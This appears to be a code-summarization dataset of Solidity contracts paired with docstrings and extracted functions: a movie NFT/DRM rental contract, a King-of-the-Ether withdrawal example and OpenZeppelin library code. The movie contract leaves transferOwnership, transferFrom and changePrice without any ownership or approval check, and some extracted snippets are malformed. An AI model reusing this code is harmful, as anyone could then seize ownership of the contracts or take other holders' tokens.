uint movie_start_time;
uint movie;
uint[] adverts;
}
/*** Storage ***/
mapping(address => Player) players;
//mapping(address => Movie) movies;
mapping(address => Advert) adverts;
mapping(address => Sponsor) sponsors;
Movie[] movies;
/// @dev A mapping from movie IDs to the address that owns them. All movies have
/// some valid owner address.
mapping(uint256 => address) movieIndexToOwner;
// @dev A mapping from owner address to count of tokens that address owns.
// Used internally inside balanceOf() to resolve ownership count.
mapping (address => uint256) ownershipTokenCount;
// @dev A mapping from owner address to count of movies that address has viewRight.
// Used internally inside balanceOf() to resolve viewRight count.
mapping (address => uint256) viewRightTokenCount;
/// @dev A mapping from movie IDs to an address that has been approved to view
/// the movie by obtaining DRM meta data at any time.
/// A zero value means no approval is outstanding.
mapping (uint256 => address) public tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) internal operatorApprovals;
/// @dev A mapping from player address to ViewTokens
mapping (address => mapping (uint256 => ViewToken)) public viewRightGrants;
address public owner;
// Values 0-10,000 map to 0%-100%
uint256 public ownerCut;
constructor() public {
owner = msg.sender;
ownerCut = 500; // 5%
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/// ERC173
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @dev method to get owner. automatically provided by getter.
//function owner() view external;
//{
// return owner;
//}
function transferOwnership(address _newOwner) external
{
address prevOwner = owner;
owner = _newOwner;
emit OwnershipTransferred(prevOwner, _newOwner);
}
function setOwnerCut(uint256 _ownerCut) onlyOwner{
ownerCut = _ownerCut;
}
/// @dev An method that registers a new movie.
/// @param _url A json structure locate the movie, cover, title on external network
/// @param _price price of the pay per view
/// @param _duration duration of the movie.
function registerMovie(
string _url,
string _thumb,
string _title,
string _descript,
uint256 _price,
uint32 _duration,
uint32 _drmtype,
uint32 _drmid,
address _drmprovider) public {
Movie memory movie = Movie({
url:_url,
thumb:_thumb,
title:_title,
descript:_descript,
price:_price,
duration:_duration,
drmtype : _drmtype,
rating:0,
viewers:0,
drmid:_drmid,
drmprovider: _drmprovider});
uint256 movieId = movies.push(movie) - 1;
//movies[movieId] = movie;
movieIndexToOwner[movieId] = msg.sender;
ownershipTokenCount[msg.sender]++;
}
/// @dev set drm provider for a new movie.
function setDrmProvider(
uint256 id,
address _provider) public
{
require(id < movies.length && msg.sender == movieIndexToOwner[id]);
movies[id].drmprovider = _provider;
}
/// @dev registers a player.
/// @param _preference - Advertisement preferences 0-none, 0xFF- all. TODO: Each bit defines a preference such as SPORTS
/// @param _capabilities - Player capabilities resolution 0x000000FF(HD, UHD), audio channels 0x0000FF00, DRM 0x00FF000000
/// @param _publickey - for obtaining DRM. Content provider uses this key to encrypt DRM information and add it with the
/// viewing right.
function registerPlayer(
uint _preference,
uint _capabilities,
string _publickey)
public
{
Player memory player = Player({preference:_preference,
capabilities:_capabilities,
crnt_movie:0,
indx_advert:0,
publickey:_publickey});
players[msg.sender] = player;
}
function registerAdvert(string url, uint budget, uint duration) public {
Advert memory advert = Advert(url, budget, duration, 0);
adverts[msg.sender] = advert;
}
function changePrice(uint _id, uint _price) public {
movies[_id].price = _price;
}
function getPrice(uint _id) public constant returns (uint _price) {
_price = movies[_id].price;
}
/// @dev Computes owner's cut of a sale.
/// @param _price - Sale price of NFT.
function _computeCut(uint256 _price) internal view returns (uint256) {
// NOTE: We don't use SafeMath (or similar) in this function because
// all of our entry functions carefully cap the maximum values for
// currency (at 128-bits), and ownerCut <= 10000 (see the require()
// statement in the ClockAuction constructor). The result of this
// function is always guaranteed to be <= _price.
return _price * ownerCut / 10000;
}
/// @dev Request viewToken from content provider.
/// @param movieid is moveie id set at the time of registratoin
function requestViewToken(address drmprovider, address buyer, string buyerkey, uint32 movieid, uint32 drmid) internal {
mapping (uint256 => ViewToken) viewTokens = viewRightGrants [buyer];
/// Create a token with drm pending
ViewToken memory viewToken = ViewToken({movieId:uint32(movieid), cgms:1, status:1, drm:"pending"});
viewTokens[movieid] = viewToken;
emit MovieViewTokenRequested(drmprovider, buyer, buyerkey, movieid, drmid);
}
/// @dev Grant viewToken for the player.
/// @param id is moveie id set at the time of registratoin
function grantViewToken( address buyer, uint32 id, string _drm) public {
require(id <= movies.length && msg.sender == movies[id].drmprovider);
mapping (uint256 => ViewToken) viewTokens = viewRightGrants [buyer];
/// Fill the view token with DRM data
ViewToken memory viewToken = ViewToken({movieId:id, cgms:1, status:2, drm:_drm});
viewTokens[id] = viewToken;
emit MovieViewTokenGranted(buyer, id);
}
/// @dev Purchase a movie.
/// @param id is movie id set at the time of registratoin
function purchaseMovie(uint32 id) public payable
{
uint256 _bidAmount = msg.value;
address buyer = msg.sender;
require(id < movies.length);
Movie storage movie = movies[id];
Player storage player = players[buyer];
uint256 price = movie.price;
require(_bidAmount >= price);
address seller = movieIndexToOwner[id];
// Transfer proceeds to seller (if there are any!)
if (price > 0) {
// Calculate the auctioneer's cut.
// (NOTE: _computeCut() is guaranteed to return a
// value <= price, so this subtraction can't go negative.)
uint256 fees = _computeCut(price);
uint256 sellerProceeds = price - fees;
seller.transfer(sellerProceeds);
}
uint256 bidExcess = _bidAmount - price;
if(bidExcess > 0){
msg.sender.transfer(bidExcess);
}
// Request view right
requestViewToken(movie.drmprovider, buyer, player.publickey,id, movie.drmid);
}
function getMovieDrm(uint256 index) public constant returns (uint32 movieid, uint32 cgms, string drm)
{
mapping (uint256 => ViewToken) viewTokens = viewRightGrants[msg.sender];
ViewToken storage token = viewTokens[index];
movieid = token.movieId;
cgms = token.cgms;
drm = token.drm;
}
/// @notice Returns all the relevant information about a specific movie.
/// @param _id The ID of the interest.
function getMovieData(uint _id) public constant returns(
string _url,
string _thumb,
string _title,
string _descript,
uint256 _price,
uint32 _duration,
uint32 _drmtype,
uint32 _drmstatus) {
require(_id <= movies.length);
_url = movies[_id].url;
_thumb = movies[_id].thumb;
_title = movies[_id].title;
_descript = movies[_id].descript;
_price = movies[_id].price;
_duration = movies[_id].duration;
_drmtype = movies[_id].drmtype;
if(movies[_id].drmtype != 0) {
mapping (uint256 => ViewToken) viewTokens = viewRightGrants[msg.sender];
ViewToken storage viewToken = viewTokens[_id];
_drmstatus = viewToken.status;
} else {
_drmstatus = 0;
}
}
function getMovieUrl(uint _id) public constant returns(string _url){
_url = movies[_id].url;
}
function getNextAdvertUrl(uint _id) public constant returns (string _url) {
//TODO
//Player storage player = players[msg.sender];
//Sponsor storage sponsor = sponsors[_id];
//
//if(sponsor.adverts.length == 0) revert();
//uint indx_advert = (player.indx_advert + 1) % sponsor.adverts.length;
//address advert_address= sponsor.adverts[indx_advert];
//Advert storage advert = adverts[advert_address];
//_url = advert.url;
}
function setRating(uint _id, uint8 _rating) public {
Movie storage movie = movies[_id];
movie.rating = (movie.rating * movie.viewers + _rating) / (movie.viewers + 1);
movie.viewers += 1;
}
function getRating(uint _id) public constant returns (uint rating) {
rating = movies[_id].rating;
}
/// @notice Returns the total number of movies.
/// @dev Required for ERC-721 compliance.
function totalMovies() public view returns (uint256) {
return movies.length;
}
/// @dev Checks if a given address is the current owner of a movie.
/// @param _claimant the address we are validating against.
/// @param _tokenId movie id, only valid
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return movieIndexToOwner[_tokenId] == _claimant;
}
/// @notice Transfers a movie to another address.
/// @param _to The address of the recipient, can be a user or contract.
/// @param _tokenId The ID of the movie to transfer.
/// @dev Required for ERC-721 compliance.
function transfer(
address _to,
uint256 _tokenId
)
external
{
// Safety check to prevent against an unexpected 0x0 default.
require(_to != address(0));
// Disallow transfers to this contract to prevent accidental misuse.
require(_to != address(this));
// You can only send your own movie.
require(_owns(msg.sender, _tokenId));
// Reassign ownership, clear pending approvals, emit Transfer event.
_transfer(msg.sender, _to, _tokenId);
}
/// @dev Assigns ownership of a specific movie to an address.
function _transfer(address _from, address _to, uint256 _tokenId) internal {
// Since the number of movies is capped to 2^32 we can't overflow this
ownershipTokenCount[_to]++;
// transfer ownership
movieIndexToOwner[_tokenId] = _to;
ownershipTokenCount[_from]--;
// Emit the transfer event.
emit Transfer(_from, _to, _tokenId);
}
/// @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165).
/// Returns true for any standardized interfaces implemented by this contract. We implement
/// ERC-165 and ERC-721.
function supportsInterface(bytes4 _interfaceID) external view returns (bool)
{
// DEBUG ONLY
//require((InterfaceSignature_ERC165 == 0x01ffc9a7) && (InterfaceSignature_ERC721 == 0x9a20483d));
return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721));
}
/// @notice Returns the number of movies owned by a specific address.
/// @param _owner The owner address to check.
/// @dev Required for ERC-721 compliance
function balanceOf(address _owner) public view returns (uint256 count) {
return ownershipTokenCount[_owner];
}
/// @notice Returns the address currently assigned ownership of a given movie.
/// @dev Required for ERC-721 compliance.
function ownerOf(uint256 _tokenId)
public
view
returns (address _owner)
{
_owner = movieIndexToOwner[_tokenId];
require(_owner != address(0));
}
/// helper functions for ERC-721 implementatoin of safeTransferFrom
function isApprovedOrOwner(address _spender, uint256 _tokenId) internal view returns (bool result) {
address tokenOwner = ownerOf(_tokenId);
result = _spender == tokenOwner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender);
}
modifier canTransfer(uint256 _tokenId) {
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function checkAndCallSafeTransfer(address _from, address _to, uint256 _tokenId, bytes _data) internal returns (bool) {
if (!isContract(_to)) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(msg.sender, _to, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
/// @dev Required for ERC-721 compliance
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) external canTransfer(_tokenId) {
transferFrom(_from, _to, _tokenId);
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
/// @dev Required for ERC-721 compliance.
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external
{
// safeTransferFrom(_from, _to, _tokenId, "");
transferFrom(_from, _to, _tokenId);
require(checkAndCallSafeTransfer(_from, _to, _tokenId, ""));
}
/// @dev Required for ERC-721 compliance.
function transferFrom(address _from, address _to, uint256 _tokenId) public
{
_transfer(_from, _to, _tokenId);
}
/// @dev Required for ERC-721 compliance.
function approve(address _to, uint256 _tokenId) public
{
address tokenowner = ownerOf(_tokenId);
require(_to != tokenowner);
require(msg.sender == tokenowner || isApprovedForAll(tokenowner, msg.sender));
tokenApprovals[_tokenId] = _to;
emit Approval(tokenowner, _to, _tokenId);
}
/// @dev Required for ERC-721 compliance.
function setApprovalForAll(address _to, bool _approved) public
{
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
/// @dev Required for ERC-721 compliance.
function getApproved(uint256 _tokenId) public view returns (address)
{
return tokenApprovals[_tokenId];
}
/// @dev Required for ERC-721 compliance.
function isApprovedForAll(address _owner, address _operator) public view returns (bool)
{
return operatorApprovals[_owner][_operator];
}
// ERC721Metadata
function name() external view returns (string _name)
{
_name = bcmc_name;
}
/// @dev Required for ERC-721 compliance.
function symbol() external view returns (string _symbol)
{
_symbol = bcmc_symbol;
}
/// @dev Required for ERC-721 compliance.
function tokenURI(uint256 _tokenId) external view returns (string)
{
return getMovieUrl(_tokenId);
}
// ERC721Enumerable
function totalSupply() external view returns (uint256)
{
return totalMovies();
}
/// @dev Required for ERC-721 compliance.
function tokenByIndex(uint256 _index) external view returns (uint256 resultToken)
{
if(_index <= movies.length) {
resultToken = _index;
}
resultToken = 0;
}
/// @dev Required for ERC-721 compliance.
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256)
{
uint256 tokenCount = balanceOf(_owner);
uint256 result = 0;
if (tokenCount == 0) {
return result;
} else {
uint256 resultIndex = 0;
uint256 id;
for (id = 0; id < movies.length; id++) {
if (movieIndexToOwner[id] == _owner) {
result = id;
break;
}
}
return result;
}
}
/// ERC721TokenReceiver
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes _data) public returns(bytes4)
{
//return bytes4(keccak256("onERC721Received(address,uint256,bytes)"));
return ERC721_RECEIVED;
}
}
|
Required for ERC-721 compliance.
|
function getApproved(uint256 _tokenId) public view returns (address)
{
return tokenApprovals[_tokenId];
}
| 955,370 |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (governance/utils/IVotes.sol)
pragma solidity ^0.8.0;
/**
* @dev Common interface for {ERC20Votes}, {ERC721Votes}, and other {Votes}-enabled contracts.
*
* _Available since v4.5._
*/
interface IVotes {
/**
* @dev Emitted when an account changes their delegate.
*/
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/**
* @dev Emitted when a token transfer or delegate change results in changes to a delegate's number of votes.
*/
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
/**
* @dev Returns the current amount of votes that `account` has.
*/
function getVotes(address account) external view returns (uint256);
/**
* @dev Gets the current checkpointed balance for `account`
*/
function getBalance(address account) external view returns (uint256);
/**
* @dev Returns the amount of votes that `account` had at the end of a past block (`blockNumber`).
*/
function getPastVotes(address account, uint256 blockNumber) external view returns (uint256);
/**
* @dev Retrieve balance for `account` at the end of `blockNumber`.
*/
function getPastBalance(address account, uint256 blockNumber) external view returns (uint256);
/**
* @dev Returns the total supply of votes available at the end of a past block (`blockNumber`).
*
* NOTE: This value is the sum of all available votes, which is not necessarily the sum of all delegated votes.
* Votes that have not been delegated are still part of total supply, even though they would not participate in a
* vote.
*/
function getPastTotalSupply(uint256 blockNumber) external view returns (uint256);
/**
* @dev Returns the delegate that `account` has chosen.
*/
function delegates(address account) external view returns (address);
/**
* @dev Delegates votes from the sender to `delegatee`.
*/
function delegate(address delegatee) external;
/**
* @dev Delegates votes from signer to `delegatee`.
*/
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
|
Common interface for {ERC20Votes}, {ERC721Votes}, and other {Votes}-enabled contracts. _Available since v4.5._/
|
interface IVotes {
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
function getVotes(address account) external view returns (uint256);
function getBalance(address account) external view returns (uint256);
function getPastVotes(address account, uint256 blockNumber) external view returns (uint256);
function getPastBalance(address account, uint256 blockNumber) external view returns (uint256);
function getPastTotalSupply(uint256 blockNumber) external view returns (uint256);
function delegates(address account) external view returns (address);
function delegate(address delegatee) external;
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) external;
pragma solidity ^0.8.0;
}
| 15,867,418 |
// The Withdraw pattern was originally inspired by King of the Ether.
// https://www.kingoftheether.com/thrones/kingoftheether/index.html
// Example was modified from:
// https://solidity.readthedocs.io/en/develop/common-patterns.html#withdrawal-pattern
pragma solidity ^0.4.23;
import "./SafeMath.sol";
contract Withdraw {
using SafeMath for uint256;
address public richest;
uint256 public mostSent;
uint256 public startAt;
mapping (address => uint) public pendingWithdrawals;
constructor(uint256 start) public payable {
richest = msg.sender;
mostSent = msg.value;
startAt = start;
}
function stop() public {
// 以太坊時間是以 unix time (seconds) 表示,並以uint256儲存
// 注意: 非一般 milliseconds
// 支援的時間單位:
// 1 == 1 seconds
// 1 minutes == 60 seconds
// 1 hours == 60 minutes
// 1 days == 24 hours
// 1 weeks == 7 days
// 1 years == 365 days
require(
// 使用 '// solium-disable-next-line' 避免編譯器警告
// solium-disable-next-line security/no-block-members
now >= (startAt + 30 days),
"每次以太王活動必須至少舉行30天"
);
require(
msg.sender == richest,
"只有以太王能結束活動"
);
// 以太王收割韭菜
msg.sender.transfer(address(this).balance);
}
// 多載 (overloading)
function stop(address beneficiary) public {
require(
beneficiary != address(0),
"帳號不得為0x0"
);
require(
// 使用 '// solium-disable-next-line' 避免編譯器警告
// solium-disable-next-line security/no-block-members
now >= (startAt + 30 days),
"每次以太王活動必須至少舉行30天"
);
require(
msg.sender == richest,
"只有以太王能結束活動"
);
// 以太王收割韭菜
beneficiary.transfer(address(this).balance);
}
function becomeRichest() public payable returns (bool) {
// wei 是以太坊最小貨幣單位,合約中大多透過wei作為貨幣計算單位
// 以太坊貨幣單位: wei, szabo, finney, ether (皆可在合約內直接使用)
// 1 ether = 1e+18 wei
// 1 ether = 1e+6 szabo
// 1 ether = 1000 finney
// 每次最少增加 1 ether
if (msg.value.sub(mostSent) >= 1 ether) {
pendingWithdrawals[richest] = (
pendingWithdrawals[richest].add(msg.value)
);
richest = msg.sender;
mostSent = msg.value;
return true;
} else {
return false;
}
}
function withdraw() public {
uint amount = pendingWithdrawals[msg.sender];
// Remember to zero the pending refund before
// sending to prevent re-entrancy attacks
pendingWithdrawals[msg.sender] = 0;
msg.sender.transfer(amount);
}
}
|
多載 (overloading) 使用 ' solium-disable-next-line' 避免編譯器警告 solium-disable-next-line security/no-block-members 以太王收割韭菜
|
function stop(address beneficiary) public {
require(
beneficiary != address(0),
"帳號不得為0x0"
);
require(
now >= (startAt + 30 days),
"每次以太王活動必須至少舉行30天"
);
require(
msg.sender == richest,
"只有以太王能結束活動"
);
beneficiary.transfer(address(this).balance);
}
| 12,698,481 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
